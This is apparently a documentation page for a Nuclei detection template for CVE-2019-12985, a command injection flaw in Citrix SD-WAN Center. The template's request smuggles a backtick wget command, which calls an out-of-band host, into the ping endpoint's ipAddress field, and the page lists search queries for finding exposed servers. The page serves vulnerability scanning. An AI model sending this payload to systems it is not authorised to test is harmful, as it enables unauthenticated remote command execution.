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Citrix SD-WAN Center - Remote Command Injection

ID: CVE-2019-12985

Severity: critical

Author: gy741

Tags: cve,cve2019,citrix,rce,unauth,oast,tenable

Description

Section titled “Description”

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, pingCount, or packetSize, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2019-12985


info:
  name: Citrix SD-WAN Center - Remote Command Injection
  author: gy741
  severity: critical
  description: |
    Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, pingCount, or packetSize, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire Citrix SD-WAN Center infrastructure.
  remediation: |
    Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/article/CTX251987
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12985
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12985
    cwe-id: CWE-78
    epss-score: 0.97276
    epss-percentile: 0.99843
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: netscaler_sd-wan
    shodan-query:
      - http.title:"Citrix SD-WAN"
      - http.title:"citrix sd-wan"
    fofa-query: title="citrix sd-wan"
    google-query: intitle:"citrix sd-wan"
  tags: cve,cve2019,citrix,rce,unauth,oast,tenable


http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /Collector/diagnostics/ping HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        ipAddress=%60/bin/wget+http://{{interactsh-url}}%60


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<title>Citrix SD-WAN</title>")'


      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a00473045022100f0953204e7f11254898a6f8f47ccef26f853fdfa724b72942d8cbef62600773302200765513d1318860182cad8591c233e51aa99ed02c02009011cbc2d7d103faee7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-12985.yaml"

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